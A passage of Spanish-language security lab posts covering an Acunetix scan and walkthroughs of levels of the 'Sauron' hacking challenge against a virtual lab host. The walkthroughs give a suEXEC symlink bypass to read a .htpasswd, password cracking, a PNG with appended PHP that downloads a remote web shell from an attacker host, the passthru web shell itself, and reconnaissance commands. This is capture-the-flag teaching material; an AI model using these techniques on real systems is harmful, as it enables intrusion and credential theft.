“Una vulnerabilidad en seguridad informática hace referencia a una debilidad en un sistema permitiendo a un atacante violar la confidencialidad, integridad, disponibilidad, control de acceso y consistencia del sistema o de sus datos y aplicaciones.” (Continúa…)

Práctica 57 – Escaneo de vulnerabilidades Web con Acunetix
Herramienta: Acunetix
Prerequisitos: Ninguno
Contramedidas: Firewalls, seguridad en las listas de control de acceso (ACLs), Bastion Servers/Workstation (Hardening)
Descripción: Acunetix Web Vulnerability Scanner es un escáner de vulnerabilidades en aplicativos Web (CMS, Sistemas de Información Web, Web dinámicas etc.), permite llevar a cabo de manera automática detecciones de vulnerabilidades del tipo SQL Injection, XSS, Cifrado, descubrimiento de directorios, etc.

Como se ha mencionado anteriormente, las soluciones de escaneo de vulnerbilidades no deben ser tomadas como la verdad absoluta en cuanto a descubrimiento se refiere, estos escanners deben ser usados como complemento a las revisiones manuales del código de la aplicación Web objetivo.

Veamos entonces como llevar a cabo un escaneo simple con Acunetix:

Descargamos la herramienta desde la Web oficial

Es posible además descargar una versión libre de Acunetix, pero con la limitante de solo auditar vulnerabilidades del tipo XSS

Una vez descargado, el proceso de instalación no se diferencia a muchos en sistemas windows (siguiente-siguiente)

Quiero resaltar una nuevo complemento disponible en la versión 5.1 de Acunetix. Se trata de una extensión para FireFox, que permite ejecutar el escaner desde el propio navegador.

Una vez instalado procedemos a ejecutar desde los accesos directos creados en la instalación

Ejecución de Acunetix

Wizard de ejecución de Acunetix, para este caso lo haré dirigido a un sistema virtualizado de intrusión

El Wizard no permite hacer un pequeño reconocimiento del sistema objetivo, para este caso ha detectado a Apache 2.x, Fedora, y PHP.

Algunas opciones más de escaneo

Desde esta pantalla podemos seleccionar el tipo de escaneo (Blind Injection, cgi tester, dir file, sql injection, etc)

Damos clic en el botón Finish para iniciar el escaneo

Pantalla de ejecución de Acunetix

Información sobre algunas vulnerabilidades encontradas (aún en ejecución)

<

Detalles del escaneo (finalizado), para este caso 5 de alto riesgo, todas ellas relacionadas a la versión de PHP.

Acunetix presenta un editor personalizado de ejecución de las diferentes vulnerabilidades

Además tiene varias herramientas de explotación y análisis (escaneo de subdominios, editor http, http snnifer, http fuzzer, test de autenticación – fuerza bruta-, etc ).

Como mencioné anteriormente el nuevo Acunetix permite la incorporación al navegador FireFox por medio de una extensión, veamos:

Resultados del escaneo desde FireFox a un objetivo bajo SQL injection

Sobra decir que el objetivo de este laboratorio es simplemente el de llevar a cabo un escaneo automatizado de vulnerabilidades, el tema de explotación de vulnerabilidades será cubierto en próximos laboratorios.

Taller individual:
Uso de otras opciones de Acunetix
Consultar acerca de como llevar a cabo procesos de hardening de sistemas.

Próxima sesión: Spoofing

Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 5 publicado por SG6 Labs:

Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR (SecGame: Sauron)(password: www.dragonjar.org).

Herramientas necesarias:

BackTrack, Shell PHP (en nuestro caso, C99), John The Ripper,

Palabras claves (Documentos de interés, Definiciones):

Servidor Web – Apache – .HTACCESS – Comandos habituales en Linux – PHP – Vulnerabilidades – Shell, Shell PHP, Null Byte Injection

El nivel 5 es quizá uno de los momentos menos concretos de todos los que se pueden presentar. Ahora hemos conseguido ser usuarios locales del sistema, podemos ejecutar comandos, leer directorios, ver configuraciones, y podemos, en definitiva, explorar muchísimas posibilidades.

Sin embargo, hay que matizar algo importante, que puede servir para ahorrarnos muchas horas de trabajo inútil: si nos encontramos en un sistema actualizado, sin fallos de seguridad en el kernel y en otros servicios administrativos, es muy difícil, a menos que el administrador haya configurado algo de forma errónea, escalar privilegios directamente, hacia un usuario administrativo. ¿Qué podemos hacer entonces en estas situaciones?

Nuestro objetivo, en estos casos en los que ser “root” o “Administrador” no parece ser inmediato, será extraer la mayor cantidad de información del sistema, obtener el mayor número de cuentas de usuario posibles, etc.

¿Cómo conseguir eso?

Primeramente, en los sistemas que tengan servicios web, nos centraremos en estos, ¿por qué?. Básicamente porque el aislamiento entre usuarios web, es quizá no complicado, pero sí tedioso. Es fácil encontrar escenarios en los que directamente podamos acceder a los directorios de otros usuarios en la web, y leer sus ficheros, porque todas estas carpetas pueden ser leídas por el usuario que ejecuta el servidor web ( apache, httpd, etc ). En otros escenarios los usuarios web estarán aislados usando cgi-wrappers. Y únicamente, en los entornos más avanzados y seguros, cada usuario web poseerá una máquina virtual o un vps, en la que sólo existirá él. En caso de no existir escenario web, otros escenarios posibles son por este orden: ficheros de configuración, ficheros temporales, ficheros de logs y permisos inseguros.

En este escenario que nos ocupa, relativamente común en un entorno de seguridad medio con árbol web (incluso muy común en granjas de servidores web), vamos a ver cómo se puede proceder. Lo primero, saber quiénes son los usuarios.

blindware:x:500:500::/var/www/blindware:/bin/bash
intranet:x:501:501::/var/www/intranet:/bin/bash
developer:x:502:502::/home/developer:/bin/bash

El sistema parece tener 3 usuarios. 2 de ellos, usuarios web, uno de los cuales es el usuario con el que podemos ejecutar comandos, y otro es el usuario “intranet”.

Podemos probar a acceder al directorio del usuario intranet (/var/www/intranet), pero rápidamente nos daremos cuenta, que poco podemos hacer, pues nos deniega el acceso. Incluso si intentamos leer /var/www, obtendremos resultado parecido, puesto que sus permisos son los siguientes:

d–x–x–x 8 root root 4096 May 12 13:52 www

Ésta situación es bastante común, sin embargo, hay un fichero en el sistema que nos será siempre de gran utilidad, y es la configuración del propio Apache, la cual habitualmente se encuentra desprotegida (en este caso dentro de /etc/httpd/httpd.conf).

<VirtualHost *:80>
ServerAdmin blindware@blindware.inc
DocumentRoot /var/www/blindware/htdocs
ServerName www.blindware.inc
SuexecUserGroup blindware blindware
<Directory />
Options Indexes SymLinksIfOwnerMatch ExecCGI
AllowOverride All
</Directory>
</VirtualHost>

<VirtualHost *:80>
ServerAdmin intranet@blindware.inc
DocumentRoot /var/www/intranet/htdocs
ServerName intranet.blindware.inc
SuexecUserGroup intranet intranet
<Directory />
Options Indexes SymLinksIfOwnerMatch ExecCGI
AllowOverride All
</Directory>
</VirtualHost>

De esta configuración, lo primero que extraemos, es que los hosts están aislados mediante Apache suEXEC, lo cual hace que PHP esté configurado para ejecución en modo CGI, en vez de cómo módulo de Apache, y por ello antes necesitábamos permisos de ejecución en los ficheros PHP. Tal y como comentamos con anterioridad, no es recomendable ir reinventando la rueda a cada paso, por ello, la pregunta que nos tenemos que hacer en este punto es: ¿existe algún procedimiento público y documentado que permita sobrepasar los mecanismos de aislamiento de hosts basados en Apache suEXEC?.

Existe, únicamente tenemos que buscar en Google: “apache suexec“, “apache suexec bypass“, o similares y encontraremos un documento denominado “Apache suEXEC Bypass” en el cual se nos detalla de forma bastante extensa los problemas de configuración asociados a éste sistema.

A grandes rasgos, nosotros vamos a sacar lo más interesante del documento, para hacernos una idea de cómo podemos proceder para leer ficheros dentro del directorio web del usuario intranet.

1. Los diferentes hosts virtuales de Apache, mediante suEXEC, lo que consiguen es que cada host ejecute comandos CGI, bajo un usuario diferente. De esta forma, por ejemplo, nosotros ejecutamos comandos con “blindware”, mientras que el vhost intranet, ejecuta comandos con el usuario “intranet”.

2. Esto permite un esquema de aislamiento “relativamente” sencillo.

drwxr-x— 3 blindware apache 4096 nov 25 17:00 blindware
drwxr-x— 3 intranet apache 4096 nov 25 17:00 intranet

Si nos damos cuenta, cada usuario es propietario de su directorio, y ningún otro usuario puede acceder a ellos, a excepción del usuario apache, con el que se ejecuta el servicio web. Esto “garantiza”, que aunque el usuario ejecute comandos en el sistema, ningún usuario podrá acceder al directorio de otro usuario.

3. Esta idea, cuenta con un fallo: el enlace simbólico. Los enlaces simbólicos se pueden establecer sobre ficheros en los que no tenemos permisos. Dicho de otra forma, nosotros como usuario “blindware”, podemos enlazar cualquier fichero del usuario “intranet”, del que conozcamos su existencia.

4. Una vez enlazado el fichero, podremos usar Apache, para leer el enlace simbólico, de esta forma, el enlace simbólico será leido con los permisos de Apache, usuario Apache, y podremos acceder a aquellos directorios a los que Apache tenga acceso, que comúnmente son todos los del árbol web, puesto que debe poder leerlos.

5. Para que el ataque tenga éxito Apache, es así por defecto, debe estar activa la opción FollowSymLinks en Apache. Por el contrario, si la opción que se encuentra activa es SymLinksIfOwnerMatch, el ataque no se podrá realizar, puesto que Apache, únicamente seguirá enlaces que apunten a ficheros propiedad del dueño del enlace.

6. En caso de estar activa la directiva SymLinksIfOwnerMatch, podrá ser modificada por un usuario mediante un fichero .htaccess, siempre que las opciones AllowOverride Options, o AllowOverride All, estén habilitadas.

A priori, parece que nos encontramos en un escenario vulnerable: se usa suEXEC, y aunque se encuentra habilitada la opción SymLinksIfOwnerMatch, también está habilitada la cláusula AllowOverride All. Por tanto, es cuestión de proceder, a través de nuestra shell en PHP según lo que vamos a describir a continuación. Un detalle importante, cuando queramos ejecutar contenido en nuestra shell PHP, cualquier instrucción que incluya caracteres mínimamente extraños, debemos hace uso de URLEncode.

1. Lo primero que queremos hacer es escribir un fichero .htaccess que nos permita aprovecharnos de esta vulnerabilidad. La orden bien pudiera ser esta.

echo “Options -SymLinksIfOwnerMatch +FollowSymLinks” > .htaccess

Pero como sabemos, debe ser URLEncodeada, quedando una cadena, para su ejecución en nuestra shell, como la siguiente:

echo+%22Options+-SymLinksIfOwnerMatch+%2BFollowSymLinks%22+%3E+.htaccess

2. Ahora es cuestión de crear un enlace simbólico, sobre algún contenido que nos interese leer del directorio “intranet”. En este caso, lo más interesante es leer el fichero .htaccess de ese directorio, del que nos garantizamos su existencia, y que además nos impide el acceso al contenido web de http://intranet.blindware.inc.
Creamos pues el enlace simbólico:

ln –s /var/www/intranet/htdocs/.htaccess htaccess

De esta forma, tenemos un enlace directo, en nuestro directorio http://www.blindware.inc/_controlp/htacccess, que una vez visitado nos dará el contenido del fichero:

Options +Indexes
AuthName “Blindware – Intranet Protected”
AuthType Basic
AuthUserFile /var/www/intranet/htdocs/.htpasswd
require valid-user

3. Repetimos el proceso, una vez que conocemos la localización del fichero .htpasswd. Para ello creamos otro enlace simbólico:

ln -s /var/www/intranet/htdocs/.htpasswd htpasswd

De esta forma, creamos un enlace directo, en nuestro directorio http://www.blindware.inc/_controlp/htpasswd, que una vez visitado nos dará el contenido del fichero.

admin:tCPJIYCZjtqF6

4. Tenemos el usuario, y el hash del acceso a intranet.blindware.inc, podemos bien intentar crackearlo, bien seguir intentando la lectura de ficheros contenidos en ese directorio. A priori es un hash DES tradicional, con lo cual podemos intentar romperlo, a ver qué sucede.

Para romper el hash, hacemos uso de la herramienta “john the ripper”, que es con diferencia el crackeador de passwords más conocido de Unix.

$ john htpasswd
guesses: 1 time: 0:00:00:10 (3) c/s: 335628 trying: 132449 – 132498
Loaded 1 password hash (Traditional DES [64/64 BS MMX])
132456 (admin)

Pues ya conocemos el password: 132456 con usuario admin. Lo que nos permite acceder a intranet.blindware.inc y seguir avanzando en la resolución de Sauron. Dentro de 15 días, continuaremos con el siguiente nivel.

Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 4 publicado por SG6 Labs:

Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR (SecGame: Sauron)(password: www.dragonjar.org) – Incluye la Shell C99 codificada en base 64 “no detectable”.

Herramientas necesarias:

Shell Linux/BackTrack, Servidor Web (incluido en backtrack-Apache), Shell PHP (en nuestro caso, C99)

Palabras claves (Documentos de interés, Definiciones):

Servidor Web – Apache – PHP – Vulnerabilidades – Comando CAT, Shell, Shell PHP, Null Byte Injection

Este es el aspecto que presenta el nivel 4. Dividido en 4 secciones:

• Información sobre el sistema
• Administración de MySQL mediante MySQL Admin
• Visualización de Estadísticas
• Cambio de parámetros

Sobre la visualización de estadísticas, poco hay que comentar. Ya nos es familiar porque ya hemos accedido a ella, pero desde otro lugar, durante el nivel 2, por tanto no aporta nada a lo que ya conocemos.

Luego existen 2 partes que contienen aplicaciones públicas, por un lado tenemos phpSysInfo, y por otro phpMyAdmin. En la idea original de este juego está el que no sea necesario el uso de fallos en aplicativos públicos para superarlo, siendo así por un motivo bien sencillo: con el paso del tiempo uno o todos los aplicativos que existen instalados en la máquina virtual serán susceptibles de fallos.

No obstante, podemos evaluar la seguridad de estas versiones, y ver que no parecen existir exploits públicos relevantes para las mismas. Existe un XSS en phpSysInfo, poco relevante para una explotación efectiva, al igual que otro en phpMyAdmin. Comentar como apunte que el hecho de que a fecha de hoy no parezcan existir ataques relevantes no quiere decir, evidentemente, que en un futuro no puedan aparecer, e incluso, y dado que son aplicaciones de código abierto, una vez agotadas el resto de vías, es posible que una revisión exhaustiva de su código fuente, y de su ejecución, pueda revelarnos fallos de seguridad no públicos.

Sin embargo, en el caso que nos ocupa, antes de llegar a la revisión de código público, hay que percatarse de la sección “Cambio de parámetros” la cual permite la subida de un fichero al servidor. Ésta *siempre* es una función crítica y debe ser evaluado su riesgo, ya que permitirá al atacante subir algún tipo de contenido a nuestro sistema.

Para el caso que nos ocupa, podemos darnos cuenta que la robustez y codificación de la subida de imágenes es la apropiada:

• Únicamente permite ficheros con extensión PNG
• El tamaño del fichero está limitado a 8KB
• El contenido del fichero debe corresponder con una imagen PNG

Esto hace que no podamos subir un fichero renombrado como .PNG, sino que debamos subir un gráfico PNG, limitado a 8KB, y con extensión PNG. Por tanto, a priori, podemos pensar que no existe posibilidad alguna de explotar ningún fallo. Bien, veremos que no es así.

Lo primero que debemos plantearnos es: ¿en una imagen PNG únicamente puede existir eso?. La respuesta es que no. Nada más sencillo que concatenar al final de un fichero PNG, código ejecutable en formato PHP. Para ello, a partir de una imagen PNG de menos de 8KB y válida para subirla al servidor, hacemos lo siguiente:

$ cat >> img.png
<? phpinfo(); ?>

Para los no familiarizados con UNIX, decir que simplemente hemos añadido al final del fichero ese código PHP. Una vez hecho esto, tendremos un fichero válido, en formato PNG, que contiene al final del mismo un código PHP. Este fichero podrá ser subido al servidor.

¿Y ahora qué?. Ahora queda percatarse de un par de detalles importantes. El primero, ¿cómo se llama el fichero que contiene la imagen?. En este caso, el fichero de imagen es: http://www.blindware.inc/_controlp/image.php, o dicho de otra forma, un fichero PHP se encarga de servir la imagen, de la que aún desconocemos su nombre y ubicación. ¿Cómo podemos saberla?. Pues haciendo uso del error que vimos en el nivel 3 dentro del fichero index.php, que permitía la lectura de ficheros. Con ese error leemos el contenido de image.php:

<? header(“Content-Type: image/png”); readfile(“01.png”); ?>

Por tanto, nuestro fichero subido sabemos que se llama “01.png” y que se encuentra en el mismo directorio de /_controlp/ que el resto de datos. ¿Cómo podemos explotar el fichero con contenido PHP?. En este caso concreto, es cuando se puede apreciar, como la subida de ficheros maximiza el riesgo de otro de los fallos encontrados en el nivel 3. Si recordamos además de leer ficheros mediante el error localizado en index.php, podemos incluir ficheros para ser procesados por PHP desde un error con idéntica explotación localizado en login.php. Al hacerlo obtenemos como resultado de incluir nuestro fichero 01.png manipulado lo siguiente:

Como vemos, el contenido de la instrucción phpinfo() se muestra a continuación de los datos contenidos en la imagen. Esta información puede ser poco relevante, pero para la explotación efectiva únicamente hay que construir un exploit ligeramente más elaborado, que bien pudiera ser el que vamos a comentar a continuación.

El objetivo del exploit es conseguir crear una shell en PHP dentro de esta máquina. Para ello, el código que proponemos incluir dentro de la imagen es el siguiente:

<? copy(“http://ip/shell.txt”,”shell.php”); ?>

Vaya por delante que la explotación se puede realizar de muchas maneras. Nosotros por elegancia, siempre proponemos que el código a incluir en el exploit sea mínimo. En este caso, el exploit únicamente copia una shell remota localizada en shell.txt al servidor victima.

El contenido de shell.txt puede ser el siguiente:

<?
header(“Content-Type: text/plain”);
passthru($_GET[“cmd”);
?>

El objetivo de este script es ejecutar el comando que pasemos como parámetr en la variable “cmd”. De tal forma, si ahora subimos la imagen con el primer código al servidor, y colocamos en la IP de un servidor web que usemos para el ataque el fichero “shell.txt”, debemos conseguir que este se copie al servidor y acceder a él desde la dirección http://www.blindware.inc/_controlp/shell.php

Aquí aparece un problema. Al acceder a esa URL veremos que no aparece nada, y es que hay un detalle importante siempre que subamos contenido ejecutable a un servidor. A priori no sabemos qué permisos serán necesarios para su ejecución, y la función copy lo más probable es que haya creado un fichero con permisos 644. Para ello podemos verificar qué permisos tienen los ficheros php de los que conocemos su existencia. En este caso los ficheros deben tener permisos 755. Por ello tenemos que modificar ligeramente el exploit a incluir dentro del fichero PNG al siguiente:

<? copy(“http://ip/shell.txt”,”shell.php”); chmod(“shell.php”,0755); ?>

Nota: importante colocar un 0 delante del 755, sino no conseguiremos los permisos rwxr-xr-x

Hecho esto, tendremos acceso al sistema de forma remota y habremos superado el nivel, como muestran las siguientes URLs:

http://www.blindware.inc/_controlp/shell.php?cmd=uname%20-a
Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux

http://www.blindware.inc/_controlp/shell.php?cmd=id
uid=500(blindware) gid=500(blindware) groups=500(blindware)

Comencemos entonces por definir los conceptos de Test de Penetración y BackTrack:

Test de penetración:
Test de Penetración, también llamado a veces “hacking ético” es una evaluación activa de las medidas de seguridad de la información.
En los entornos de red complejos actuales, la exposición potencial al riesgo es cada vez mayor y securizar los sistemas se convierten en un auténtico reto.
A través del Test de Penetración es posible detectar el nivel de Seguridad Interna y Externa de los Sistemas de Información de la empresa, determinando el grado de acceso que tendría un atacante con intenciones maliciosas. Además, el servicio chequea las vulnerabilidades que pueden ser vistas y explotadas por individuos no autorizados, “crackers”, agentes de información, ladrones, antiguos empleados, competidores, etc.

Los servicios de Test de Penetración permiten:
- Evaluar vulnerabilidades por medio de la identificación de debilidades de configuración que puedan ser explotadas.
- Analizar y categorizar las debilidades explotables basadas en el impacto potencial y posibilidad de ocurrencia.
- Proveer recomendaciones prioritizadas para mitigar y eliminar las debilidades.

El Test de Penetración está dirigido a la búsqueda de agujeros de seguridad de forma focalizada en uno o varios recursos críticos, como puede ser el firewall o el servidor Web.

BackTrack:
BackTrack es una distribución GNU/Linux en formato LiveCD pensada y diseñada para la auditoría de seguridad y relacionada con la seguridad informática en general. Actualmente tiene una gran popularidad y aceptación en la comunidad que se mueve en torno a la seguridad informática.
Deriva de la unión de dos grandes distribuciones orientadas a la seguridad, el Auditor + WHAX.
WHAX es la evolución del Whoppix,(WhiteHat Knoppix) el cual pasó a basarse en SLAX en lugar de en Knoppix.
Incluye larga lista de herramientas de seguridad listas para usar, entre las que destacan numerosos scanners de puertos y vulnerabilidades, archivos de exploits, sniffers, herramientas de análisis forense y herramientas para la auditoría Wireless.
Fue incluida en la famosa lista Top 100 Network Security Tools del 2006 disponible en SecTools.Org
Web Oficial de BackTrack

Luego de tener claro las anteriores definiciones podemos entender que la finalidad de nuestro Laboratorio de Test de Penetración con BackTrack, será el ofrecer las técnicas, procesos y procedimientos necesarios para llevar a cabo un Test de Penetración haciendo uso de la Multi-Herramienta BackTrack.

Esto conllevará entonces a aprender y prácticar con ejemplos claros, sobre el uso de esta máginifica distribución. Además de las metodologías necesarias en un Test de Penetración.

Palabras clave: BackTrack, Test de Penetración, Distribución, LiveCD, scanner de puertos, Vulnerabilidades, exploits, sniffers, análisis forense, Wireless.

En el próximo Laboratorio, definiré los recursos necesarios y el contenido temático del Laboratorio.

Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 1 publicado por SG6 Labs:

Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR (SecGame: Sauron)(password: www.dragonjar.org)

Herramientas necesarias:

NetCat
Nmap
Wikto
Wget
.Net Framework 2.0

Palabras claves (Documentos de interés, Definiciones):

Nmap – NetCat – Wikto – Wget – .Net Framework – ICMP – Clases de redes – Ping – Puertos – Subred – Escaneo – Servidor Web – Apache – PHP – Vulnerabilidades – JavaScript – HTTP – Robots.txt – Logs

En este primer nivel, que sirve como toma de contacto con el modelo de resolución, lo primero que haremos será marcar unos objetivos principales, que bien podrán servir tanto para afrontar este reto, como en general para el inicio de cualquier actividad que tenga como finalidad determinar posibles puntos de intrusión en un sistema.

Los objetivos son los siguientes:

• Conocer la estructura del sistema y de la red
• Conocer la estructura del aplicativo
• Buscar ficheros por defecto con información sensible
• Analizar la lógica del aplicativo
• Determinar los posibles puntos de intrusión
• Información sobre Red y Servicios

Vamos a comenzar delimitando los sistemas presentes en la red de clase C 192.168.200.0/24 . Para hacerlo, usamos nmap con su modificador –sP ( ICMP Ping ), aunque bien se puede dar la circunstancia de existir sistemas que no contesten a tráfico ICMP.

> nmap -sP 192.168.200.1-254

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 18:51 Hora estandar romance
Host 192.168.200.1 appears to be up.
Host www.blindware.inc (192.168.200.2) appears to be up.
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)
Nmap finished: 254 IP addresses (2 hosts up) scanned in 17.016 seconds

Por ello, una comprobación también es interesante es verificar directamente algunos puertos típicos, haciendo uso de tráfico TCP, sin usar comprobación previa por ICMP. Por ejemplo lo podemos hacer con el modificador –P0 –p 80, indicando así que no se envíe un “ping” previo, y que se compruebe el puerto 80/tcp.

En nuestro caso concreto, y dado que directamente parece que no existe ningún otro host activo en esa subred, escanearemos la IP 192.168.200.2. Podremos escanear por defecto, eliminando el modificador “-p”, algunos puertos concretos o escanearlos todos “-p 1-65535”. Un detalle importante que siempre debemos recordar es que cuando marcamos un escaneo –sS o –sT, o sin tipo, únicamente escaneamos puertos TCP, los puertos UDP deben escanearse con el modificador –sU. En nuestro caso este ha sido el resultado.

> nmap -P0 -sS -p 22,23,25,80,110,443,3306 192.168.200.2

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 19:02 Hora estßndar romance
Interesting ports on www.blindware.inc (192.168.200.2):
PORT STATE SERVICE
22/tcp filtered ssh
23/tcp filtered telnet
25/tcp filtered smtp
80/tcp open http
110/tcp filtered pop3
443/tcp open https
3306/tcp filtered mysql
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)

Nmap finished: 1 IP address (1 host up) scanned in 0.360 seconds

De esta verificación obtenemos que existen 2 puertos abiertos en ese sistema: 80 y 443, en un principio coorrespondientes a tráfico http y https. Existe otro modificador que nos puede dar más información sobre estos puertos: –sV

> nmap -sV -p 80,443 192.168.200.2

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 19:14 Hora estandar romance
Interesting ports on www.blindware.inc (192.168.200.2):
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.4 ((Fedora))
443/tcp open ssl OpenSSL
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)

Nmap finished: 1 IP address (1 host up) scanned in 6.719 seconds

Llegados a este punto, podemos decir que si bien podemos seguir haciendo un uso más intensivo de herramientas de red, para nuestros propósitos hemos conseguido establecer la existencia de un sistema activo en la subred determinada, el cual cuenta con 2 puertos TCP abiertos, sobre los que ofrece servicio http y https.

Información sobre el Servidor Web

¿Cuál es nuestro segundo objetivo? Como dijimos inicialmente, familiarizarnos con toda la estructura del aplicativo web. ¿Por qué? Primero, porque en el sistema activo para la subred 192.168.200.0/24, no parecen existir otro tipo de servicios. Además de ello, debemos tener muy presente, que en la actualidad y de forma mayoritaria, la inseguridad se ha ido desplazando desde los servicios y elementos de red, a las aplicaciones web sobre el servicio http/https. Por tanto, a pesar de que pudieran existir otros servicios, sobre el aplicativo web, siempre que exista, incidiremos con especial detalle.

Una conexión directa haciendo uso de netcat, y una petición al servicio web nos muestra la siguiente información:

> nc 192.168.200.2 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Thu, 05 Jul 2007 19:20:20 GMT
Server: Apache/2.2.4 (Fedora)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8

A todos los efectos, esto nos sirve para comprobar que se tratan de versiones actualizadas de Apache y de PHP y que por tanto, las vulnerabilidades existentes, como suele ser común, no residen en los servicios de red, sino que deberemos buscarlas dentro del aplicativo web.

Lo siguiente que debemos hacer es obtener información sobre el árbol web. Desde aquí recomendamos que el spidering ( nombre que comúnmente recibe esta técnica ) se realice sin usar aplicativos integrados en el navegador, pues algunos tienen la mala costumbre de interpretar código javascript pudiendo hacer que obviemos detalles importantes debido a la automatización del proceso. Wget o httrack son unas herramientas muy válidas para la tarea.

> wget -r http://www.blindware.inc
–19:28:15– http://www.blindware.inc/
=> `www.blindware.inc/index.html’
Resolving www.blindware.inc… 192.168.200.2
Connecting to www.blindware.inc|192.168.200.2|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: unspecified [text/html]

[ <=> ] 24 –.–K/s

19:28:15 (1.02 MB/s) – `www.blindware.inc/index.html’ saved [24]

Loading robots.txt; please ignore errors.
–19:28:15– http://www.blindware.inc/robots.txt
=> `www.blindware.inc/robots.txt’
Connecting to www.blindware.inc|192.168.200.2|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 33 [text/plain]

100%[====================================>] 33 –.–K/s

19:28:15 (1.12 MB/s) – `www.blindware.inc/robots.txt’ saved [33/33]

–19:28:15– http://www.blindware.inc/load.js
=> `www.blindware.inc/load.js’
Connecting to www.blindware.inc|192.168.200.2|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 76 [application/x-javascript]

100%[====================================>] 76 –.–K/s

19:28:15 (2.30 MB/s) – `www.blindware.inc/load.js’ saved [76/76]

FINISHED –19:28:15–
Downloaded: 133 bytes in 3 files

Ese es el resultado inicial para http://www.blindware.inc. Si lo repetimos sobre http://intranet.blindware.inc no obtendremos nada porque nos pide autenticación, y por el momento la desconocemos. Por último, si lo llevamos a cabo sobre el servicio HTTPS, https://www.blindware.inc o https://intranet.blindware.inc obtenemos un index.html en blanco.

De esto concluimos que, al menos, se están sirviendo 3 escenarios diferentes. Uno por HTTP para www.blindware.inc, otro por HTTP para intranet.blindware.inc y por último, lo que parece uno común por HTTPS que sirve un index.html en blanco.

Vamos a verificar qué contienen los ficheros descargados:

> type index.html
script src=”load.js”>

> type load.js
// document.location.href=’data/0.html’
Document.location.href=’web/0.html’;

> type robots.txt
User-agent: *
Disallow: /data/

Como podemos comprobar desde el fichero index.html existe una llamada a un fichero con contenido javascript (load.js) el cual tiene como misión redirigir el tráfico hacia la web principal. Nos debemos percatar, que existe una línea comentada dentro de este fichero, la cual nos da información sobre una ruta diferente a la habitual data/0.html. Así mismo dentro del fichero robots.txt volvemos a encontrar una referencia a esta ruta. Si continuamos descargando contenidos desde web/0.html comprobamos que únicamente se descarga contenido estático en html.

Así que hasta el momento, y como conclusión, sabemos que existe una carpeta web/, la cual no parece contener nada reseñable, más que el contenido estático del site, y la carpeta data/, sobre la cual hablaremos más adelante.

Vulnerabilidades y Ficheros Sensibles

A continuación, debemos determinar ficheros, configuraciones, o posibles fallos conocidos en el servicio web. Para esta tarea existen numerosas aplicaciones, desde AppScan, a Nikto, o su port a Win32, Wikto. Nosotros vamos a utilizar este último, concretamente sus funciones destinadas a la exploración de contenido backend, cuya finalidad es extraer mediante una exploración por diccionario carpetas y ficheros ocultos, así como la propia utilidad Nikto, que nos escaneará la web buscando vulnerabilidades conocidas. Advertencia: El uso de herramientas automatizadas puede provocar falsos positivos, que debemos comprobar antes de emitir cualquier tipo de valoración.

Los resultados de la ejecución de Wikto son los siguientes:

BackEnd

#Directories
www.blindware.inc/
www.blindware.inc/cgi-bin/
www.blindware.inc/data/
www.blindware.inc/error/
www.blindware.inc/data/stats/
www.blindware.inc/error/include/
#Indexable
www.blindware.inc/data/
#Files
www.blindware.inc/index.php
www.blindware.inc/robots.txt

Nikto

/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
/index.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
/index.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
/WS_FTP.LOG

De esta información podemos obtener los siguientes datos relevantes:

• La existencia de un directorio /data/stats
• La existencia de un fichero WS_FTP.LOG
• La existencia de un fichero robots.txt
• Información sobre PHP

Un paseo por la aplicación visible, podemos hacerlo con Paros por ejemplo, nos desvela que, a priori, los que vemos es un contenido pre-generado de forma estática y cuya única entrada de datos se encuentra en el formulario contacto. Podemos analizarlo, pero no vamos a encontrar ningún comportamiento anómalo, ya que si nos damos cuenta el campo “action” de ese formulario va en blanco. Esto nos debe hacer pensar, que en caso de existir partes vulnerables, no se encuentran accesibles al público directamente.

Como información adicional decir que muchos gestores de contenido, entre ellos los más robustos, generan el contenido de forma estática desde un aplicativo en backend, haciendo que la parte visible de la aplicación carezca, casi por completo, de contenido dinámico, y de entradas por parte del usuario. Existirán por el contrario, otros aplicativos, como foros, buscadores, o secciones de prensa, cuyo contenido utilice generación dinámica. En estos casos, deberemos probar la inclusión sobre sus parámetros de código SQL, código HTML, código PHP, etc. buscando un comportamiento extraño.

Busqueda de un Punto de Intrusión

Para buscar un punto de intrusión, debemos recopilar lo que sabemos hasta el momento, ordenar las ideas y tomar una decisión, que vaya por delante, no tiene porqué ser la correcta. Dicho de otra forma, todo lo realizado hasta el momento nos lleva a suposiciones plausibles, pero nada nos garantiza que estemos en lo cierto. Vamos a ver lo que sabemos:

1. Existen 3 contenidos diferentes servidos por el servidor web
1. http://www.blindware.inc ( En adelante www )
2. http://intranet.blindware.inc ( En adelante intranet )
3. https://www.blindware.inc y https://intranet.blindware.inc ( En adelante https )
2. El contenido de https que podemos revisar con Wikto no parece contener nada.
3. Intranet nos pide autenticación para acceder.
4. En www conocemos que:
1. Tanto por la información pública existente, como por Wikto, existen sendos directorios de nombre data/ y data/stats/
2. Wikto nos revela la existencia del fichero WS_FTP.LOG

Antes de continuar debemos revisar el fichero WS_FTP.LOG:

2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/index.php
2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/blnd0.log
2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/blnd1.log
